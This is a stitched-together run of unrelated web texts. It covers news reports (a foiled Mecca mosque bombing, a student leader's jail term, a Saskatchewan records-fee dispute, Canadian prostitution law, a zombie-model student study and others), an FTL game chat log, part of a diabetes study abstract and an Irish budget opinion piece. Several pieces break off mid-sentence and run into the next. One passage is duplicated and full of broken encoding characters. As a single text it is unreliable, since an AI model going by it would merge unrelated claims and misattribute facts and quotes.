AdvertisementsHamzeh Hossein said foiling the explosion in the Grand Mosque of Mecca was a fake move to garner public support for Mohammad bin Salman who was recently appointed as the new Saudi crown prince. The move was also aimed at sidelining the news on the removal of bin Nayef from the post of crown prince and the consequences of the removal in Saudi Arabia’s politics,” he added, according to a Farsi report by Tasnim. Earlier, Saudi Arabian Interior Ministry Spokesperson, Manousr al-Torki, said the Saudi forces foiled on Friday a suicide bomber attempt at the Grand Mosque in Mecca and arrested five people, including a woman, while one of the perpetrators blew himself up. “Members of a terror cell deployed in Jeddah and Mecca were behind the failed attempt,” he added. The terrorist operation was carried out just days after Saudi King Salman removed his crown prince Mohammad bin Nayef and replaced him with his own son Mohammad. Bin Nayef has also been removed from his other government posts including membership in the Council of Ministers at the Interior Ministry. The changes have sparked great surprise and outrage among the Saudi princes. Many experts talk of possible acts of defiance as well as mass arrests in the kingdom.ASPSU president sentenced to serve four days in jail, write book report According to the Multnomah County Sheriff’s booking log, ASPSU President Adam Rahmlow spent three days in Multnomah County Jail last week. Records indicate that Rahmlow was arrested at 2:10 p.m. on Wednesday, Nov. 9, booked into custody at 4:57 p.m. that same day, and released on Friday, Nov. 11. Rahmlow stated on Sunday, Nov. 13, that the arrest was the result of unauthorized out-of-state travel. “When you’re on probation you need to get written permission to travel, ahead of time,” Rahmlow said. “I didn’t follow the correct procedure—I messed up.” PHOTO COURTESY MULTNOMAH COUNTY SHERIFF’S OFFICE Yesterday, Rahmlow again spoke to the Vanguard, amending his statement. “Part of my probation violation was due to a dishonest statement that I made,” Rahmlow said. According to Rahmlow, he had indicated to the court that he “realized too long after the trip was planned that I needed your permission to leave the State of Oregon.” “The dishonesty lies in the fact that I knew I needed permission,” Rahmlow said. Rahmlow was sentenced by a Multnomah County Judge to serve four days in jail, but was released one day early. “They can’t release on weekends is the way I understand it,” Rahmlow said. “The judge also told me that I have to read the book River of Doubt and write a report on it.” The book is a biography of President Theodore Roosevelt. Rahmlow’s probation was the result of a prior conviction for resisting arrest, as reported in the Vanguard on May 20, 2011. The story was investigated based on an anonymous tip received shortly after Rahmlow was elected ASPSU president. The incident in question occurred during the summer of 2010, when Rahmlow, then an ASPSU senator, was ordered by a bouncer to leave the Dixie Tavern, where he and friends had been drinking. Rahmlow attempted to re-enter the establishment, and when Portland Police officers tried to remove him, an altercation ensued.Back in 2014, the Global Transportation Hub paid 2 to 3 times more for this land on the west side of Regina than government-procured appraisals said it was worth. (CBC News) A director with the Canadian Taxpayers Federation says the Global Transportation Hub and the Ministry of Highways are "mak(ing) it as difficult as possible" for him to access documents about the GTH land deal. "That's incredibly wrong," said Todd MacKay, the CTF's prairie director. In February, CBC broke the story that the GTH had purchased 204 acres of land on the west side of Regina for two to three times more than government-procured appraisals said it was worth. MacKay said he started getting calls from supporters, asking questions about what was going on. "Honestly it was everyday ordinary supporters, farmers, business people, that kind of people, who would phone us up and say, 'We heard about this on the radio. What's going on there?'" CTF files access requests about land deal So he filed freedom of information requests, asking the GTH and the Ministry of Highways for all documents related to the land deal from 2010 until the present. These aren't government documents. These are the people's documents. And I think that has to be the default value. - Todd MacKay, Canadian Taxpayers Federation MacKay said the CTF files hundreds of access requests to governments every year and in most cases they're quite helpful. But he said in the case of the GTH land deal "it's just been nothing but roadblocks." CBC is also in the midst of a dispute over access to information requests about the GTH land deal. The GTH and the Ministry of Highways sent CBC fee estimates in excess of $180,000. CBC has appealed those fees to Saskatchewan's Information and Privacy Commissioner. "These aren't government documents," MacKay said. "These are the people's documents. And I think that has to be the default value." GTH says it has 10,000 pages The GTH responded to the CTF request by indicating there were 10,000 pages of GTH-related documents, which MacKay found shocking. "To put that in context, Shakespeare's complete works fit into about 1,600 pages," MacKay explained. "So they're saying they have seven or eight times more documents, pages of documents, than the complete works of the Bard. It's very hard for us to believe there's that many documents associated with this." He was also surprised that the GTH was planning to charge his organization $7,240 for access to those documents. "This is truly extraordinary," MacKay said. "And it's pretty frustrating to see. If the government has a good story to tell on this I would think they'd be eager to answer questions rather than putting the onus back on citizens to buy documents they own anyway." Bryan Richards, the president and CEO of the GTH, said it would cost the CTF almost $1,600 for access to his emails about the GTH land deal. (CBC News) So he decided to file a much narrower request, asking for all emails related to the land deal sent or received by the GTH's president and CEO Bryan Richards. In this case he received a fee estimate of $1,590 for 1,200 pages of documents. "Very strange that it would cost $1,500 to find emails," MacKay said. He was so irritated with how this was being handled that he decided to file a request for all documents about how his request was dealt with. The GTH told him there were 60 pages of documents and that would cost him $225. Richards said it would take six hours to search the computer system for those documents. "I mean it's information about our own file," MacKay said. "If there's any information we should be able to get for free it should be information about a citizen themselves." Richards explained he's unable to speak to CBC about the access requests of others "but want to assure you we are adhering to the legislation." Ministry of Highways forwards request to GTH MacKay also submitted a broad access to information request to the Ministry of Highways about GTH land deal documents. The ministry responded by saying "upon review, your access request… has been transferred to the Global Transportation Hub for response." MacKay said he interpreted that to mean the ministry believed it didn't have any records that responded to his request. I have a whole bunch of responses on fee requests here and no actual relevant documents. And so it's unusual and it's disappointing. - Todd MacKay, Canadian Taxpayers Federation So he filed another much more specific request, asking for all emails to or from the deputy minister of highways related to the GTH land deal. In that case, the ministry found 200 pages of emails and sent MacKay an estimate of $1,447.88. "I have a whole bunch of responses on fee requests here and no actual relevant documents," MacKay said. "And so it's unusual and it's disappointing." The Ministry of Highways told CBC it can't talk about this series of requests because of privacy considerations. However, it did say "the ministry strives to fulfill the requirements of the FOI legislation." CTF says this isn't a left wing/right wing issue MacKay notes that the Liberal federal government has just moved to virtually eliminate fees for access to information requests. He said the Manitoba Conservatives were just elected on a platform of transparency in that province. "This really isn't a left and right issue" MacKay explained. "This is a right and wrong issue." "It's just baffling to see why any government of any stripe would be so unwilling to release documents." He said he hopes that pressure from groups like his and other private citizens will change things and make the Saskatchewan government more open and responsive to freedom of information requests.Hey there, readers of this thing! I have decided to put this as the first episode, as it more or less is one of the earliest good ones we did. Dog G6: I’m still using the default kestrel Sephiroth: i’ll roll same Sephiroth: need to name crew so we have an emotional attachment when they get eaten by space spiders Dog G6: the music is so good Sephiroth: agreed Sephiroth: do you go shortest path or explore around Dog G6: I screw around exploring and then when the fleet comes I get to the beacon Dog G6: basically I try to do as much as I can Dog G6: and just leave when right on the edge of the fleet Sephiroth: i always worry about fuel Dog G6: I’ve never had fuel problems except for that time earlier today Dog G6: that was epic tho Dog G6: okay first jump, got a distress call, apparently there’s alien spiders. Imma send my crew over, as alien spiders are no joke. Dog G6: op welp Cubbin is gone, he was my favorite just from his name Sephiroth: risky Dog G6: welp, crap Sephiroth: lol Dog G6: so no weapons officer Dog G6: good start Sephiroth: I had some pirates that took out my 02 Sephiroth: O2 Dog G6: a drone AI here, pretty standard Dog G6: oh EXCEPT THIS ONE CLOAKS Dog G6: ALL THE BETTER Sephiroth: such a pain Dog G6: no weapons officer, got an evasive cloaking drone Dog G6: good thing I’ll be really accurate now [/s] Sephiroth: battling in a nebula, half power Sephiroth: dropping med for full weapons Sephiroth: no shields Dog G6: if you want and there’s something really cool going on you can make a screenshot of it and I’ll throw it in Sephiroth: if there’s an epic fight sure Sephiroth: good thing he aimed for shields Dog G6: Took out its weapons, this drone seems to have thought that taking out my doors was of utmost importance Dog G6: to be fair upgraded doors are useful as heck Sephiroth: we have fire Dog G6: twice I’ve died from really stupid situations involving fire, no air, and boarding parties Sephiroth: what do upgraded doors do? Dog G6: and he jumped Dog G6: wow I’m on a roll Sephiroth: lol Sephiroth: my guy is trying to jump Dog G6: if I could hit that engine Dog G6: upgraded my reactor in exchange for supplies Sephiroth: no sensors and fires is fun Dog G6: shields are already down, having my engine officer repair it while the enemy is already smashing me Dog G6: oop doors out again, guess the doors are my meatshield Sephiroth: lol Sephiroth: i’m still repairing from previous engagement, no sensors and half power is ugly Dog G6: my missile hit their shields, my weapons are also damaged Dog G6: wow that’s ironic, fire in the door room [Obligatory “that’s not really irony!” Picks up iron sand Throws it at you There, iron.] Dog G6: XD my goodness Sephiroth: fires everywhere Dog G6: fires in the medbay as well Dog G6: I think that means I’m screwed Dog G6: imma just fire everything Dog G6: no saving missiles cuz IMMABOUT TO DIE AND CUBBIN IS GONE Sephiroth: fires out, finally Sephiroth: too soon, moment of silence Dog G6: okay took out the ship Dog G6: imma try and let the fires burn out Dog G6: just throwing my two dudes in the O2 room Dog G6: medbay out of oxygen, that’s good Dog G6: fires going out Dog G6: I’m disabling O2 for now Dog G6: as the fires are respreading Sephiroth: new pirate engaged Sephiroth: targetting shields and weapons Dog G6: sensors out Sephiroth: weapons down, they are reparing shields Sephiroth: going for kill Sephiroth: saivng missiles Dog G6: the fire sounds have gone away finally woooo Dog G6: so, officers are important Sephiroth: pursuing distress beacon Dog G6: lol Sephiroth: details Dog G6: already my hull is almost red Sephiroth: traded fuel for updated map of sector Dog G6: so the community believes that the player is an AI Dog G6: due to the ability to command the ship without anyone on it Dog G6: waddyu think? Dog G6: think we’re Hal? Sephiroth: I’m sorry … I can’t do that dave Sephiroth: Going to get staff for shields Dog G6: “Dave, Cubbin is gone” Sephiroth: too soon… too son Sephiroth: slavers! Dog G6: “Dave, I think you should go look at the spiders. Sephiroth: NOOOO ethical quandrys Sephiroth: (sp) Sephiroth: offer a tribute or they all die Dog G6: (sp)? Sephiroth: spelling Dog G6: ah Dog G6: lol Dog G6: trying to rescue a ship that’s stuck between asteroids Dog G6: well, pirates are on my ship, no sensors, and a planetary defense system is locking on to me Dog G6: have to fight for the engine room so I can jump Dog G6: O2 is out Sephiroth: defended civilians from empire Dog G6: depressurising engine room so they’ll leave Dog G6: they seem to be in weapons room due to damage I’m seeing Dog G6: making a run for the oxygen Dog G6: 2 hull left Sephiroth: killing last pirate in sector Sephiroth: fleets on my tail Dog G6: aaaand exploded Sephiroth: missiles running low Dog G6: that was my shortest game yet xD Sephiroth: lol Sephiroth: healing, then leaving sector Dog G6: started game, distress signal Dog G6: fed scout needs fuel Dog G6: have to go into a nebula Sephiroth: too greedy, rebel intercepted me at gate Sephiroth: going to have to win this Dog G6: DRONE YEH BETTER NOT HAVE YEH CLOAKINGZ Dog G6: nope just a ton of drones instead Dog G6: that’s so much better Dog G6: -_- Sephiroth: rebel shield and weapons down, fire in door room Sephiroth: sheild person going to deal with it Dog G6: dey be takin out my engine DON’T MESS WITH MAH ENGINE HOMIES Dog G6: WHOA I just realized Cubbin is back 😀 Dog G6: I got Cubbin in this game! Sephiroth: saving missiles, firing lasers on shield room Dog G6: oh I get it the rebels must be coming for Cubbin Dog G6: cuz he’s a legend Dog G6: he gets nutshots on dem rebel bunnyhoppers man Dog G6: took their weapons and shields out Sephiroth: sniper Dog G6: TOUGH SNIPAHW Sephiroth: and…. 2 crew dead as I sent them to repair a room with no oxygen and they died Dog G6: a ton of scrap and an Anti-Ship Beam Drone I Dog G6: this time imma be trying to get defensive stuff first Sephiroth: engaging scout with 1 missle and down 2 crew Dog G6: or at least shields and doors Dog G6: then I’ll get the weaps Dog G6: also saving scrap for missiles Dog G6: as long as I have missiles I can probably keep stuff at bay Dog G6: wow already ran into a pirate with tough shields Sephiroth: just got pike beam Sephiroth: going to distress isgnal Sephiroth: single life form Sephiroth: return survivor to family for 27 scrap, good deal Sephiroth: first foray into pike beam Sephiroth: risky Dog G6: I want pike beam Dog G6: 😦 Sephiroth: tried to run, engine destoryed Dog G6: got two shield bubbles now, 3 jumps in Sephiroth: low on fuel, 2 Dog G6: aaand jumped into a super giant Sephiroth: houston we have a problem Dog G6: pirate here, going to disable shields with missiles, take out weapons and then drones with lazorz Sephiroth: with 2 fuel we jumped inot an pirate fighter with 4 weapons, advanced shields Dog G6: disabling missiles to save ammo, weapons are out Dog G6: going for drone bay Dog G6: power from artemis rerouted to engines Dog G6: not accepting surrender, THEY DON’T PAY ENOUGH Dog G6: lol I usually accept surrender actually Dog G6: but I need to hoard all the scrapz right nao Sephiroth: fires spreading after victory Dog G6: disabling oxygen, fires in the sensor room Dog G6: solar flare about to happen, jumping Dog G6: this is going great Dog G6: fires everywhere Sephiroth: final repairs before jump Sephiroth: gota log off though Dog G6: mind control Sephiroth: situation dire Sephiroth: 2 crew Sephiroth: heavy hull damage Sephiroth: low fuel Sephiroth: advanced weapons but lacking scrap for skills Dog G6: no shields Dog G6: throwing everything at their weapons Dog G6: so Sephiroth is going Torus Be sure to join us next week for more pew pew and rampant Tabasco sauce in the medbay! Like and follow (via WordPress) and/or subscribe (via email) if you enjoyed this. Do it for Cubbin. AdvertisementsThis is an open access article distributed under the terms of Creative Commons Attribution License, which permits unrestricted use, distribution, and reproduction in any medium, provided the original author and source are credited. Small thigh circumference was associated with diabetes, and this association was stronger among participants with a BMI of less than 25 kg/m 2. Thigh circumference might be a useful diabetes marker in lean populations. The association of thigh circumference with diabetes showed contradictory patterns before and after adjustment for BMI and waist circumference. Small thigh circumference was associated with greater risk of diabetes among men and women. This relationship was stronger among participants younger than 50 years, although age was not a significant effect modifier. BMI was a significant effect modifier among men with a BMI of less than 25 kg/m 2. Among women, diabetes risk increased with smaller thigh circumference. We examined the association between thigh circumference and diabetes in a cross-sectional study of 384 612 Koreans aged 30 to 79 years. The association between diabetes and thigh circumference in relation to body mass index (BMI) was analyzed among 315 628 participants, using multivariate logistic regression. Thigh circumference was categorized into
reductions announced in the budget by Noonan has been created by a surge in revenue from corporation tax. There is an argument that this revenue is not simply a once-off surge but will be there in the future thanks to the international clampdown on tax avoidance measures by multinationals. Massive gap Another key element of the recent budget that demands serious debate is the Coalition’s plan to take more people out of the tax net and ultimately to eliminate the Universal Social Charge (USC). One of the fundamental reasons the crash was so severe and the USC was required was that so many people on low and middle incomes were taken out of the tax net during the boom years and the system was effectively hollowed out, leaving it vulnerable to collapse. A feature of the Irish income tax system is that people earning more than €70,000 pay almost the same level of income tax as people in Scandinavia where public services are so much better than here. The inconvenient truth, however, is that the only way we can aspire to Scandinavian quality public services and meet the vocal demands from Opposition parties and interest groups for massive increases in spending is to raise income tax for everybody, including the low paid. A general election campaign is probably not the best time to have an honest debate about the options facing the country, as the Irish electorate has in the past shown no inclination to reward politicians who tell the truth. It is hard to avoid the conclusion that it is only a matter of time before we repeat the mistakes of the past yet again.You used to know where you were with BMW. It made dependable, fun-to-drive sedans, with the occasional foray into GT cars like the 6 and 8 Series. But then the car buying public went mad, and everyone decided they really wanted a wagon. But they wouldn't buy actual wagons, apparently because of the association with mom's station wagon from the '70s. And they wouldn't buy hatchbacks, either, because those were only for college kids. So the marketers took those form factors and jacked them up in the air, adding some styling tweaks meant to suggest the utilitarianism of military surplus. Because BMW wants to keep selling cars, it joined in on the fun with its range of X vehicles: SUVs, crossovers, and the increasingly odd Sports Activity Coupes. It's to the latter category that its newest vehicle belongs—meet the BMW X2. BMW's press release heralding the new car says it features "an unmistakable design with sporty yet urban genes." It's derived from the more conventional X1 and shares its wheelbase, but it's shorter and lower. The one we'll get at launch is called the X2 xDrive28i—because BMW abandoned its logical naming system some time ago—and it will get a version of the 2.0L turbocharged four-cylinder engine that's ubiquitous across BMW's range. It is all-wheel drive, using an electrohydraulic clutch that can send power to the rear wheels when necessary. Think of it like a cross between a Golf GTI and Subaru Crosstrek and you'll have the right idea. A BMW like this was inevitable, as the equally odd X6 and X4 SACs have sold well in the US, and you may as well give the people what they want. But a look at the concept sketches (see gallery above) makes me rather sad to think what could have been. The X2 goes on sale early next year and should be slightly more expensive than a similarly equipped X1 (think $38,000 and up).Federal Justice Minister Jody Wilson-Raybould's pledge to review the Harper government's prostitution laws is going to bring fire from both sides in the often-bitter debate over the issue. A Sex Worker's Struggle to 'Change the Code' read more Announcements, Events & more from Tyee and select partners ‘Punch to the Gut’ Musical on Residential Schools Returns to Vancouver Children of God has been shaped by intense audience reactions, says director Corey Payette. But Wilson-Raybould has already staked out a different position than the Conservative government, promising to consult sex workers on yet-to-be determined reforms. Wilson-Raybould, a 44-year-old former Crown prosecutor in Vancouver's Downtown Eastside, skirted The Tyee's questions about the divisions on the issue. "I definitely am committed to reviewing the prostitution laws, and sitting down with my officials to assess the best options, and with those they affect directly," she said in a phone interview. Central to that review, Wilson-Raybould said, will be "listening to people who are impacted." The Conservatives were criticized for stacking the witness list for Senate hearings with people who supported their prostitution legislation. Wilson-Raybould said her main objective will be "to reduce the incidence of violence against women." The new attorney general also said she would ensure any changes to the law "are consistent with the commitments that we've made, are consistent with the Charter, and certainly consistent with the values that we generally have as Canadians -- values of diversity, of inclusiveness and equality." Wilson-Raybould has her work cut out for her. On Dec. 20, 2013, the Supreme Court of Canada struck down Canada's existing prostitution laws, saying they endangered sex workers by pushing them into the shadows and prevented them from protecting themselves. The law, which allowed workers to exchange sex for money but made almost every aspect of the trade illegal, violated their basic Charter rights, the court found. The ruling gave the Conservatives a year to amend the laws, and last December the government passed Bill C-36, the Protection of Communities and Exploited Persons Act, which made it legal to sell sex but not to purchase, promote or provide any services related to the work. The Canadian Bar Association warned the Senate Standing Committee on Legal and Constitutional Affairs that Bill C-36 would also likely be struck down by the Supreme Court of Canada because it endangered sex workers. Before the bill was passed, advocates and opponents testified before Senate and House of Commons committees, revealing deep rifts on the issue. The Native Women's Association of Canada supports the Conservative government’s approach, arguing that sex workers should not be charged but buyers, pimps and others involved in the trade should face criminal penalties. "I get so frustrated with the conversation," the organization's president Dawn Lavell Harvard said in a phone interview Nov. 25, the International Day for the Elimination of Violence against Women. "We want to make sure that the women being victimized and exploited are not being punished when they are in fact the victims -- but that those who are exploiting, purchasing, pimping and making money are punished.” Harvard said it's ridiculous to claim women can freely choose sex work -- although many workers disagree. "It is still exploitation, regardless of all the ludicrous arguments about it being a choice or a legitimate'sex trade' versus prostitution. A woman has the right to do with her own body as she chooses, absolutely, but nobody has the right to sell another person or live off the selling of another person." Decriminalizing sex workers and providing exit strategies and support services while punishing clients and others earning money in the trade is commonly referred to as the "Nordic model" because it's has been implemented in Sweden. That model was mentioned favourably by Conservatives, who touted Bill C-36 as a "Made in Canada" adaptation of the approach. But observers are divided on Scandinavia's track record. Supporters argue violence against sex workers has dropped. Opponents counter that it continues to place women in danger and drive them into the shadows. B.C. lawyer Sharon McIvor, with the Canadian Feminist Alliance for International Action, has taken Canada to tribunals at the United Nations and Organization for American States over violence against Aboriginal women. She rejects the argument that legalizing prostitution would make sex workers safer by not forcing them underground. It's not the location that makes johns and pimps violent, she says, and legalization doesn’t tackle the poverty and addictions that often lead to survival sex work. "Trying to fix the prostitution piece without looking at the bigger picture -- why Aboriginal women are so vulnerable -- won't fix the problem as long as there are women and girls out there in such a dire socioeconomic state that this is what they have to do to support themselves," she said. Naomi Sayers also testified at parliamentary hearings on Bill C-36.* She’s a law student, former sex worker and Anishnaabe woman from from Garden River First Nation in Ontario. And she says the Conservatives' law pushed sex workers into dangerous places and makes it easier for the next Robert Pickton to prey on them. "I was the only Indigenous woman with sex work experience opposed to Bill C-36 who was invited to speak, but I'm not the only Indigenous woman who supports decriminalization," she told The Tyee. "As an Indigenous woman in law school, who has sex working experience, our lived realities need to be acknowledged." Sayers said the so-called Nordic model and its "Made in Canada" variant go against the Supreme Court decision that government can't regulate prostitution in ways that increase risks to women -- preventing them from working in safer locations or hiring bodyguards. It's still "de facto prohibition," says Sayers, and sex workers continue to be afraid to report violence to police. "The Nordic model doesn't decriminalize the women," she said, "it only criminalizes them in other ways. "They're putting women directly in harm's way … Robert Pickton preyed on the women knowing they wouldn't go to the police. Decriminalization is the only answer." 'We will repeal' C-36: Liberals' Fry Despite Conservative party attack ads alleging the Liberals would be "putting brothels in our communities," the party's election platform did not actually make any reference to prostitution. Prime Minister Justin Trudeau's public mandate letter to Wilson-Raybould didn't mention sex work. But during the campaign, then Liberal health critic Hedy Fry -- since re-elected for Vancouver Centre -- told an all-candidates women's equality forum that her party maintained its staunch opposition to Bill C-36 and planned to scrap it. "We will repeal it, because it does not comply with the Supreme Court ruling in the Bedford decision," she said at the Sept. 24 event. "It puts women who are on the street in a very precarious position. We have to protect women first and foremost, and we can't pick and choose which women we protect. "We know that a lot of women out on the street are on the street because they're being exploited, because they're poor, because they're Indigenous, because they're racialized… We need to have resources to help women who wish to exit to be able to exit." Hailing from Kwakwaka'wakw nation in B.C., Wilson-Raybould was elected to represent the Vancouver Granville riding on Oct. 19. She previously served as the B.C. regional chief for the Assembly of First Nations. Sayers said she wept when she heard an Indigenous woman became justice minister; for her, it offers a "chance for change." What advice would Sayers have for Canada's new attorney general in navigating the stormy and controversial prostitution debate? Wilson-Raybould should draw on her experience as a prosecutor in Vancouver's Downtown Eastside, "where Indigenous sex workers have been fighting for years to have their voices heard." "I want her to remember that these women need to be heard and have their experiences validated," she said, "whether they're exploited or there by choice."Were there ever to actually be a Walking Dead-style zombie apocalypse, most of the planet’s human population would be wiped out in a mere 100 days, according to a new study published earlier this week in the University of Leicester’s Journal of Physics Special Topics. In fact, thanks to their creative use of the SIR model (a basic epidemiological model which is typically used to simulate how contagious diseases spread), a team of undergrad students at the university determined that each zombie had a 90% chance of finding and infecting at least one new victim each day, and that the undead could go 20 days without feeding on brains. Furthermore, according to CNET and LiveScience, the authors concluded a zombie would be able to survive 20 days, and that if just one of them was able to catch an estimated population of 7.5 billion humans people unaware, it would take less than three weeks for the walking dead to become a noticeable epidemic. After 100 days, there would be only a handful of humans left to deal with a zombie population of more than 190 million, the study determined. However, the authors wrote that natural birth and death rates were omitted, as the short term of the anticipated zombie rendered them “negligible compared to the impact of the zombie virus over the short time frame.” They also noted that they “have also not included the possibility for the humans to kill the zombies. Including this may give the humans a better chance at survival.” Odds of survival increase when we fight back and reproduce Those might seem like pretty significant oversights, and as LiveScience noted, a more realistic model would likely assume that the odds that a zombie would be able to find “fresh meat” would likely decline as the number of surviving men and women began to plummet over time. Fortunately, the Leicester researchers published a second paper addressing some of those issues. They started by increasing the zombie life span to one year, but gave each human a 10% chance of exterminating one of the undead every year and factored in human reproduction at a rate of a new infant being born to each reproductive-age female once every three years. This altered scenario “made human survival more feasible,” the study authors said in a statement. Once again, the human population experienced a significant drop off during the first 100 days of the zombie apocalypse. However, after 1,000 days, the zombies became extinct, and an estimated 10,000 days after the start of the apocalypse, the human population would start to recover. “Every year we ask students to write short papers for the Journal of Physics Special Topics, Dr. Mervyn Roy, a lecturer in the university’s Department of Physics and Astronomy, explained in a statement. “It lets the students show off their creative side and apply some of physics they know to the weird, the wonderful, or the everyday.” As LiveScience noted, this is hardly the first scientific exercise to focus on a potential zombie apocalypse. In December 2015, the British Medical Journal, used the spread of the undead as a way to raise awareness for how real-life pandemics spread, and the Centers for Disease Control and Prevention (CDC) employed a similar tactic in a blog post of its own. —– Image credit: Thinkstock Comments commentsA 5.7-magnitude earthquake rattled Friday less than 150 miles off the far Northern California coast, according to the U.S. Geological Survey.The quake hit about 12:50 p.m. and measured about 135 miles away from the Humboldt County town of Ferndale in the Pacific Ocean.There were no immediate reports of damage or injuries.About three hours before that tremor, a 3.3-magnitude quake was reported closer inland, the USGS recorded.No additional details were released.Click here for a detailed map and information from USGS. A 5.7-magnitude earthquake rattled Friday less than 150 miles off the far Northern California coast, according to the U.S. Geological Survey. The quake hit about 12:50 p.m. and measured about 135 miles away from the Humboldt County town of Ferndale in the Pacific Ocean. Advertisement There were no immediate reports of damage or injuries. About three hours before that tremor, a 3.3-magnitude quake was reported closer inland, the USGS recorded. No additional details were released. Click here for a detailed map and information from USGS. AlertMeHarvest Moon 64 is heading to Wii U Virtual Console this week, publisher Natsume confirmed on its community forum. The game will be available for the first time on Nintendo eShop this Thursday, Feb. 23 — just eight short days before the Nintendo Switch arrives. While the game’s release is a major cause for celebration for Harvest Moon fans, it’s also a strong reminder that the Virtual Console’s future remains unknown. Nintendo has said little about what the service will look like on the Switch, or whether previously purchased Virtual Console games will carry over to the new console. That’s disappointing, because Harvest Moon 64 is a real milestone in Wii U Virtual Console releases. The game bypassed the Wii eShop due to major technical problems, and those same issues were likely to keep it off the Wii U as well, as Natsume president Hiro Maekawa told Siliconera in 2015. “We know how beloved the title is by fans, and we have tried everything possible to have it released on the Wii Virtual Console, but there is nothing that can be done,” Maekawa said. Natsume hasn’t elaborated on what’s changed with Harvest Moon 64 that makes it possible on Wii U now, but fans are pumped about the good news. For European Harvest Moon fans, who will receive the game first, this is an even bigger deal: Harvest Moon 64 has never before made it to that region. Meanwhile, stateside Harvest Moon lovers are ecstatic about playing one of the franchise’s most acclaimed entries, either for the first time ever or first time since 1999. It’s a shame that those same fans should rightfully reconsider before paying up for Harvest Moon 64. With the Switch out on March 3 — and few reasons to hold onto a Wii U thereafter — anyone looking to make the move over to that new Nintendo console should hold off on buying any Virtual Console games until Nintendo explains what’s up with that program.A rematch between Renzo Gracie and Matt Hughes is off for ADCC 2015. Gracie and Hughes, who fought each other at UFC 112 in 2010, were set to grapple at the upcoming edition of the Abu Dhabi Combat Club Submission Wrestling World Championship on Aug. 29 and 30 in Sao Paulo, Brazil, but MMAFighting.com has learned that the match is cancelled with Gracie injured. According to ADCC officials, Gracie will have to undergo surgery to fix a knee injury. The promotion expects to announce a new special match later this week. PRIDE veteran Ze Mario Sperry, who defeated Renzo Gracie in 2011 and Fabio Gurgel in 2013, is set to meet American Top Team head coach Ricardo Liborio in 2015, while ADCC 2013 absolute champion Roberto "Cyborg" Abreu takes on multiple-time ADCC champion Andre Galvao.Jonathan Chait has put together a baker’s half-dozen examples of things Rep. Paul Ryan has SAID OR DONE to express his affinity for the views of political philosopher Ayn Rand: 1. Spent the Bush years demanding larger, more regressive tax cuts than Bush himself was proposing, urging them to be less afraid of �class warfare.� 2. Spent the Obama years repeatedly proposing budgets that �would produce the largest redistribution of income from the bottom to the top in modern U.S. history.� 3. Listed Rand�s magnum opus, Atlas Shrugged, as one of the three books he most frequently rereads. 4.�Told The Weekly Standard, �I give out ‘Atlas Shrugged’ as Christmas presents, and I make all my interns read it.� 5. Repeatedly divided American society into �makers� and �takers.� 6. Declared that Rand�s thinking is �sorely needed right now� because we are �living in an Ayn Rand novel� and that �Ayn Rand, more than anyone else, did a fantastic job of explaining the morality of capitalism, the morality of individualism, and this, to me, is what is [sic] matters most.� 7.� Appeared at a gathering of Rand devotees and declared Rand�s philosophy was �the reason I got involved in public service,� that he makes it �required reading in my office for all my interns and my staff,� and that her philosophy continues to inspire �almost every fight we are involved in here, on Capitol Hill.” Jonathan Chait has put together a baker’s half-dozen examples of things Rep. Paul Ryan has SAID OR DONE to express his affinity for the views of political philosopher Ayn Rand: 1. Spent the Bush years demanding larger, more regressive tax cuts than Bush himself was proposing, urging them to be less afraid of �class warfare.� 2. Spent the Obama years repeatedly proposing budgets that �would produce the largest redistribution of income from the bottom to the top in modern U.S. history.� 3. Listed Rand�s magnum opus, Atlas Shrugged, as one of the three books he most frequently rereads. 4.�Told The Weekly Standard, �I give out ‘Atlas Shrugged’ as Christmas presents, and I make all my interns read it.� 5. Repeatedly divided American society into �makers� and �takers.� 6. Declared that Rand�s thinking is �sorely needed right now� because we are �living in an Ayn Rand novel� and that �Ayn Rand, more than anyone else, did a fantastic job of explaining the morality of capitalism, the morality of individualism, and this, to me, is what is [sic] matters most.� 7.� Appeared at a gathering of Rand devotees and declared Rand�s philosophy was �the reason I got involved in public service,� that he makes it �required reading in my office for all my interns and my staff,� and that her philosophy continues to inspire �almost every fight we are involved in here, on Capitol Hill.”MANCHESTER -- Marouane Fellaini deserves more credit for the role he plays at Manchester United, midfield partner Nemanja Matic has said. Fellaini scored twice as Crystal Palace, without a Premier League goal or point, were thrashed 4-0 at Old Trafford on Saturday. Manager Jose Mourinho said afterwards that the Belgium international had shown "fight" and character" after struggling to win over some United supporters. And Matic said he felt the 29-year-old was underappreciated, adding:"He is a great player. "If you see how he works every day in the training sessions, the games he played didn't surprise me -- that he played well, that he scored goals. "He doesn't have the credit that he deserves. I don't know why. But I really enjoy playing with him, and I am sure that we will continue like this. "It's nice to have him in the team because he can defend, on long balls he is strong and he's always dangerous in attack. I am sure that he will show all his quality this season." Fellaini has become a regular in Mourinho's team since Paul Pogba was sidelined with a hamstring injury. Pogba has already missed five games and sources have told ESPN FC the France international could be out until after the international break in November. Matic said: "We know that he will be out for some time. He's very important for us, he's a great player, but I am sure that he will be ready soon. "But we also have great players to play instead of him. We showed in the last few games that everyone is ready to play and everyone can help us." Matic has been ever present for United in the Premier League and Champions League this season following his £35 million move from Chelsea and Mourinho, who worked with the 29-year-old at Stamford Bridge, said he was playing the best football of his career. But Matic said he was still trying to recover his fitness after a disrupted summer, adding: "I didn't have preseason. I trained alone. "I can feel it in some parts of the game. My body is not ready yet and I have some difficulty, of course, but I try to hide that and to play simple. I will be better."(CNN) Sometimes a picture says it all. This is one of those times. The photo above -- snapped by Getty photographer Alex Wong -- catches President Trump and Senate Democratic leader Chuck Schumer in a quasi-embrace during a meeting to discuss the debt ceiling, government shutdown and disaster relief aid for victims of Hurricane Harvey. The end result of that meeting was Trump siding with Schumer -- and House Minority Leader Nancy Pelosi -- in agreeing to a three-month extension of the debt ceiling and funding for the government in exchange for the $8 billion in Harvey relief dollars the President had requested. By any account, that deal was very good for Schumer/Pelosi and very bad for Speaker Paul Ryan and Senate Majority Leader Mitch McConnell. (Ryan and McConnell were pushing for a longer debt-ceiling extension -- perhaps all the way until after the 2018 midterm elections.) The photo captures all of that although -- full disclosure -- we don't know for certain that the pic was taken after the deal was reached. Read MoreAs you know, Russia hasn’t yet made a final decision which one of the new AK-12 and AEK-971 assault rifles to adopt. Both firearms are being extensively tested and issued in small quantities and both seem to be adequate to be adopted. Recently, Russian deputy prime minister Dmitry Rogozin giving an interview to Russian news agency “Interfax“, told about the possibility of adopting both rifles. According to Rogozin, they are not looking to find a winner and there won’t be a winner/loser in these trials as such. They will be considering to adopt both designs for different roles in the armed forces. He also said that the trials last so many years to refine the designs and make sure the newly adopted rifles will serve decades on. The politician noted that AK-12 is 